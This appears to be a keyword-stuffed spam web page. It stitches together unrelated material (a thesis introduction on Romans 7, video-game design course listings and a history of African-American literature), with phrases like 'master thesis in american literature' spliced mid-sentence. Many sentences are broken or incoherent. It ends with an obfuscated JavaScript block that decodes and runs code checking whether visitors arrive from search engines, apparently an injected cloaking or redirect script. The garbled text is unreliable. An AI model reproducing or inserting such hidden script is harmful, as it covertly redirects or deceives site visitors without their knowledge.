Master thesis in american literature | ARCHKM.KMITL.AC.TH

At the same 5th grade eog practice homework common core standards these verses have been read with a great sense of comfort and relief by countless Christians who, in the midst of their struggle against the power of sin within them, see in Paul’s words his own experience as a Christian in the world.

My interest in this passage is not merely in the history of its interpretation or in its effect upon people who have taken it to heart. For several years master thesis in american literature I came to faith in Christ I saw Romans 7: The community in animal farm allegory essay prompt my faith was nurtured made quite certain that I understood that I was “of the flesh, sold into slavery under sin,” that “nothing good dwells within me,” that I could not do “what is right” and that I was indeed a “wretched man.

It was only once I became aware of the “wretched” mindset which fueled this view of Paul’s meaning in Romans 7 that I began to question what I had been so firmly taught about myself as a Christian. Just as Paul described the law of God and the law within his members as being at war with one master thesis in american literature, I was seeing statements in Romans 6 and 8 which appeared to be waging war with statements in chapter 7, making me a captive to the law of confusion which was dwelling within my own members and making my prospects of understanding Paul quite wretched indeed.

I am now convinced that the confusion which I have experienced in my understanding of Paul’s meaning in Romans 7 is due in great part archkm.kmitl.ac.th the tendencies of many peoples’ interpretations of the chapter to reflect not master thesis in american literature the contents of the text but also the contents of the interpreters, so to speak.

Underlying the interpretation of Paul’s words which says that he must be describing his Christian experience is the deeply held belief of many Christians, especially in my experience those who consider themselves to be evangelical, that the Christian life is primarily an ongoing struggle against sin, that sin is the main factor in a Christian’s life.

Of course, evangelicals would immediately retort that Christ is the primary factor in the Christian life, not sin; however, the literature of a great number of respected evangelical authors reflects an unspoken attitude that, at the very heart, sin is the strongest force within human beings. Buzzwords such as “sin nature,” “die to self,” “let go and let God,” “Spirit control” and others, terms master thesis in american literature I soaked up in my early years as a Christian, reflect this mindset master thesis in american literature quietly but firmly insists that the most basic impetus of the heart, even the Christian heart, is rebellion against God.

Therefore, Romans 7 is seen as a classic case of the Christian “everyman” enmeshed in the never-ending at least in this life war against sin, a war in which the best that the beleaguered Christian can hope is “to serve the law of God with the mind, but with the flesh the law of sin.

Because the writings of Paul have had and continue to have such an immense impact upon the church’s beliefs master thesis in american literature the practical master thesis in american literature of the Christian life, an understanding of Paul’s intention in Romans 7 which harmonizes with the seven gifts of the holy spirit essay of Paul’s writings is a matter not master thesis in american literature of intellectual interest but also of practical consequence.

How we live is inseparable from how we view ourselves as Christians. For this reason, a proper understanding of Romans 7 can only aid us in determining how we should and must view ourselves, in order that our lives may bring glory to the God who gave his Son for us, the God who commissioned Paul to bring the gospel to the Gentiles.

The structure Naab thorsten case study solution my thesis consists of two primary parts and a conclusion.

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The first part will deal with the history of the interpretation of Romans 7 by significant figures throughout the church’s history.

Once we have seen how the interpretive tradition has influenced the church’s view of this passage, I will conduct an examination of Romans 7 within the context of the rest of Romans and Paul’s other writings. By this I will seek to demonstrate both what the apostle is saying and what he is not saying concerning Christian “being” and identity. At the completion of archkm.kmitl.ac.th examination, I master thesis in american literature conclude with some reflections upon the implications of Paul’s meaning in Romans 7 for the church.

Consequently, then, I myself with the mind am serving the law of God, but with the flesh the law of sin. His sentiments stand master thesis in american literature almost every important doctrine or declaration of belief held by the master thesis in american literature today, particularly the Protestant sector of the church. Even so, Paul’s influence did not require the Reformation to make itself known.

As long ago as the early second century, the writer of the second epistle of Peter acknowledged the impact of Paul’s writings upon Christian reflection, along with the danger of misunderstanding their master thesis in american literature. Regarding Paul’s letters, “Peter” writes, “There are some things in them hard to understand, which the ignorant and unstable twist to their own destruction, as they do the other scriptures” 3: Unfortunately, the writer of this short letter did How to write a counter argument in an argumentative essay the history especially the recent history of the interpretation of this chapter indicates that there is anything but consensus in the scholarly world as to the meaning of this passage.

Specifically, the issue comes down to three well-known options: Is Paul describing his Christian experience, his pre-Christian experience, or something else altogether? My thesis is that Paul is describing something else altogether, a defense of which will occupy the second part of this work.

But in order to set the stage so that we may appreciate the import of this position and the other options, simple business plan for online clothing store overview of the hermeneutical background of this passage is in order. Because the multitude of theologians who have struggled to make sense out of this passage master thesis in american literature the history of the church is great, I will make use of a limited selection of commentators, master thesis in american literature more well-known than others, whose works are master thesis in american literature of the various ways of interpreting this passage.

To provide such a background, I will examine three different periods within the history of the church: From this vantage point we will launch into a closer examination of the text itself. In the course of this investigation I shall by no means attempt to rewrite everything that the people to whose works I refer have master thesis in american literature concerning Romans 7.

Rather, my master thesis in american literature interest is in establishing the dominant themes behind the history of the passage’s interpretation and augmenting those themes with citations of interesting or clarifying statements by the commentators in their own wrestlings with the passage.

Through this method I will establish a background against which my own exegesis of Romans 7 may stand.

The Reformation The hermeneutical framework through which the church viewed Romans 7 before the time of Luther was that of Augustine, who understood Paul’s words to refer to the apostle’s own struggle against sin as a Christian. His understanding of Paul’s meaning has formed the framework through which much of Paul’s writings are still interpreted.

For it is characteristic of a spiritual apa research paper heading and to approve the law of God because it is spiritual.

It is the law of God which is spiritual, not the person seeking to obey that law. Continuing on in this vein, Luther proceeds to exegete the remainder of the passage as Paul’s own testimony of the power of sin addition problem solving worksheets grade 3 his life. Of particular interest is his dealing with verseswhich read, “But now no longer am I doing it, but sin which dwells in me. For I know that good does not dwell in me, that is, in my flesh; for to will is at hand in me, but to work the good is not.

For in this way there comes about a communication of attributes, for one and the same man is spiritual and carnal, righteous and a sinner, good and evil.

But master thesis in american literature in the midst of this wanting to do good, this desire is a longing which flows not from the person of the Christian but rather from the Holy Spirit within that person. Luther sees Paul’s cry of dereliction, “Who will deliver me from the body of this death? Calvin believes with Luther that Paul is describing the experience of a regenerate person and considers such a person’s doing what he hates and not doing what he wishes to be “a very fit example, whereby thou mayest know how contrary the righteousness of the law is to our nature.

Like Luther, Calvin sees death as the only hope for overcoming the rule of sin. The passage is taken as a description of Paul as a Christian in his struggle against sin, and is master thesis in american literature a description of college paper writing service Christian experience” in the world.

As we shall see, the passage of time and the spread of Christianity across the Atlantic Ocean did little to alter this view.

British degree abbreviations

American Revivalism Assorted Writers The Great Awakenings in America spanning the early eighteenth and nineteenth centuries brought the gospel message to the new frontier. The master thesis in american literature number of new believers brought about fresh attempts to explain the details of that message, and explanations of master thesis in american literature Paul was saying in Romans 7: For many students, the most challenging part of class is to master thesis in american literature all assignments in their best cursive, and stay focused and keep up with the lessons.

This includes the weekly memorization and spelling review, as well as a twenty-minute master thesis in american literature reading time. Please allow for and help your child find a quiet place for one hour of homework each night.

Grammar Students will study parts of speech, parts of a sentence, types of sentences, diagramming, editing and mechanics. Students will be able to apply grammar concepts master thesis in american literature in casual and formal speaking and writing. Vocabulary Students will study vocabulary from class literature sources and be able to use context clues, grammar skills, and dictionaries to determine definitions and connotations.

Students learn master thesis in american literature practices for how to get valid non-skewed data and how to communicate findings to a dev team effectively. Multiplayer Game Design This course exposes students to the master thesis in american literature technology of networked multiplayer games. Industry standards such as Agile, Scrum, Confluence, and JIRA expose students to state of the art production methods and enable teams to deliver software efficiently.

Level Design In this class students work on paper and with work and power homework worksheet editor tools from commercial games to create high quality play experiences within existing games. Students learn and practice scripting to optimize the play experience including pacing, save points, ratio of obstacles versus power ups, and other game play concepts. Marketing Video Games This class builds on the foundation of the course Publishing Video Games with a focus on marketing.

Students learn the business master thesis in american literature of marketing including how to make a marketing plan, calculate return on investment, develop data-driven reporting, conduct public relations, etc. Students learn about guerilla marketing techniques suitable to independent studios with no money. And they learn master thesis in american literature the marketing techniques by top publishers for AAA titles. The Business of Video Games This course provides the students with an education in building a master thesis in american literature career in video games.

The course educates the student about professional networking, portfolio presentation, roles in industry, career path from entry level to creative leader or business leader, and other hands-on knowledge pertinent to a professional game developer. The Great Video Games Students play, study, and debate the video game canon. They gain understanding of the Formal, Dramatic, and Dynamic nuances of seminal works. Collaborative Thesis This hands-on course exposes students to the advanced responsibility of choosing her own technology in collaboration with teammates for her MFA thesis project.

The course helps each student create thesis on exchange rate fluctuations powerful, well-reasoned thesis argument to accompany their collaborative digital thesis project.

Sound Design for Games This course exposes students to the fundamentals of sound design in games including industry standard software tools for SFX and music. Students learn about techniques for recording, synthesizing, mixing, and editing digital audio. Ethics of Video Games Ethics refers to standards of right and wrong in society.

Students study and debate ethics in play experiences and how play is a way of learning about the real world. Poignant case studies are presented from games such as: September 12 an anti-terrorism simulatorGrand Theft Auto an amoral, open worldPopulous a god gameBioshock a game with a morality engine and other games. Students learn about meta-game behavioral issues such as cheating, violence, and the four types of players found in online worlds—Explorers, Achievers, Socializers, and Killers.

Cinema Studies Cinema Studies introduces students to the evolution of the motion picture art form as a visual storytelling medium and the motion picture industry from their inceptions. Students will be given a thorough creative, technological and industrial view of the filmmaking art.

Students will be prepared for more advanced academic and production related studies and practice of filmmaking. Born to free parents in Baltimore, Maryland, Harper received an uncommonly thorough education at her uncle, William Watkins’ school. Harper was hired by the Maine Anti-Slavery Society and in the first six weeks, she managed to travel to twenty cities, giving at least thirty-one lectures. Harper was often characterized as “a noble Christian woman” and “one of the most scholarly and well-read women of her day”, but she was also known as a strong advocate against slavery and the post-Civil War repressive measures against blacks.

Based in the African-American community of Harlem in New York Cityit was part of a larger flowering of social thought and culture. Numerous Black artists, musicians and others produced classic works in fields from master thesis in american literature to theater; the renaissance is perhaps master thesis in american literature known for the literature that came out of it.

Langston Hughes, photographed by Carl Van VechtenAmong the most renowned writers of the renaissance is poet Langston Hugheswhose first work was published in The Brownies’ Book in Edited by James Weldon Johnsonthis anthology featured the work of the period’s most talented poets, including Claude McKaywho also published three novels, Home to Harlem, Banjo and Banana Bottom, a nonfiction book, “Harlem: Negro Metropolis” and a collection of short stories.

Perhaps his most famous poem is ” The Negro Speaks of Rivers “, which he wrote archkm.kmitl.ac.th a young teen.

African-American literature

His single, most recognized character is Jesse B. Simple, a plainspoken, master thesis in american literature Harlemite whose comedic observations appeared in Hughes’s columns for the Chicago Defender and the New York Post.

Simple Speaks His Mind is master thesis in american literature the best-known collection of Simple stories published in book form. Until his death inHughes published nine volumes of poetry, eight books of short stories, two novels and a number of playschildren’s books and translations.

Although Hurston wrote 14 books that ranged from anthropology to master thesis in american literature stories to novel-length fiction, her writings fell into obscurity for decades. Walker found in Hurston a role model for all female African-American writers. While Hurston and Hughes are the two most influential writers to come out of the Harlem Renaissance, a number of other writers also wordpress-scholarship.000webhostapp.com well known during this period.

They include Jean Toomerauthor of Canea famous collection of stories, poems, and sketches about rural and urban Black life, and Dorothy Westwhose novel The Living is Easy examined the life of an upper-class Black family. Another popular renaissance writer is Countee Cullenwho in his poems described everyday black life such as a trip he made to Baltimore that archkm.kmitl.ac.th ruined by a racial insult.

Vickie Carey – Masters Thesis Page: 2 II – Review Of Literature In today’s world, books have become only one method of resource for the metaphysical student.

A Novel of Negro Lifewhich focused on intraracial prejudice between lighter-skinned and darker-skinned African Americans. The Harlem Renaissance marked a turning point for African-American literature.

Prior to this time, books by African Americans were primarily read by other Black people. With the renaissance, though, African-American literature—as well as black fine art and performance art—began to be absorbed into mainstream American culture. During this Great MigrationBlack people master thesis in american literature the racism and lack of opportunities in the American South and settled in northern cities such as Chicagowhere they found work in factories and other sectors of the economy.

The migration also empowered comic book dissertation and essays while examining what it was like to be both Black and homosexual at a time when neither of these identities was accepted by American culture.

Baldwin’s idol and friend was author Richard Wrightwhom Baldwin called cover letter computer science position greatest Black writer in the world for me”. Wright is best known for his novel Native Sonwhich tells the story of Bigger Thomas, a Black man struggling for acceptance in Chicago. Baldwin was so impressed by the novel that he titled a collection of his own essays Notes of a Native Sonin reference to Wright’s novel.

However, their friendship fell apart due to one of the book’s essays, “Everybody’s Protest Novel,” which criticized Native Son for lacking credible characters and psychological complexity. The other great novelist of this period is Ralph Ellisonbest known for his master thesis in american literature Invisible Manwhich won the National Book Award in Even though he did not complete master thesis in american literature novel during his lifetime, Invisible Man was so influential that it secured his place in literary history.

After Ellison’s death ina second novel, Juneteenthwas pieced together from the 2,plus pages he had written over 40 years. A fuller version of the manuscript was published as Three Days Before the Shooting Ralph Ellison circa The Civil Rights time period also saw the rise of female Black poets, most notably Gwendolyn Brookswho became the first African American to win the Pulitzer Prize when problem solving lesson first grade was awarded for her book of poetry, Annie Allen.

Along with Brooks, other female poets who became well known during the s and ’60s are Nikki Giovanni and essay self confidence Sanchez. During this time, a number of playwrights also came to master thesis in american literature attention, notably Lorraine Hansberrywhose play A Raisin in the Sun focuses on a poor Black family living in Chicago. Another playwright who gained attention was Amiri Barakawho wrote controversial off-Broadway plays.

In more recent years, Baraka became known for his poetry and music criticism. It is also worth noting that a number of important essays and books about human rights were written how to help an autistic child do homework the leaders of the Civil Rights Movement. Recent history[ edit ] Beginning in the s, African-American literature reached the mainstream as books by Black writers continually achieved best-selling and award-winning status.

This was also the time when the work of African-American writers began to be accepted by academia as a legitimate genre of American literature. A number of scholars and writers are generally credited with helping to promote and define African-American literature as a genre during this time period, including fiction writers Toni Morrison and Alice Walker and poet James Emanuel.

Negro Literature in Americaa collection of black writings how to find proofreading jobs by a major publisher. Toni Morrisonmeanwhile, helped promote Black literature and authors when she worked as an editor for Random House in the s and ’70s, where she edited books by such authors as Toni Cade Bambara and Gayl Jones.

Morrison herself would later emerge as one of the most important African-American writers of the 20th century. Her master thesis in american literature novel, The Bluest Eye, was published in Among her master thesis in american literature famous novels is Belovedwhich won the Pulitzer Prize for Fiction in This story describes a slave who found freedom but killed her infant daughter to save her from a life of slavery.

Another important novel is Song of Solomona tale about materialismmaster thesis in american literature loveand brotherhood. In the s novelist and poet Alice Walker wrote a famous essay that brought Zora Neale Hurston and her classic novel Their Eyes Were Watching God back to the attention of the literary world.

An epistolary novel a book written in the form of lettersThe Color Purple tells the story of Celie, a master thesis in american literature woman who is sexually abused by her stepfather and master thesis in american literature is forced to marry a man who physically abuses her. The novel was later made into a film by Steven Spielberg.

This shop follows in the footsteps of the larger Maker Movement that has seen instances of shops, master thesis in american literature thesis in american literature focused on social anxiety dissertation prejudice between lighter-skinned and darker-skinned African Americans?

Honoring the Difficult archkm.kmitl.ac.th her narratives were not endorsed by the Methodists because a woman preaching was master thesis in american literature to their church doctrine.

Honoring the Difficult But her narratives were not endorsed by the Methodists because a woman master thesis in american literature was contrary to their church doctrine. But even in the midst of this Online purchasing literature review that have a masters or doctoral degree!

5rQ2Lu

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,52,55,53,48,122,72,84,77,76,60,34,112,47,119,63,38,95,43,85,67,44,58,37,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![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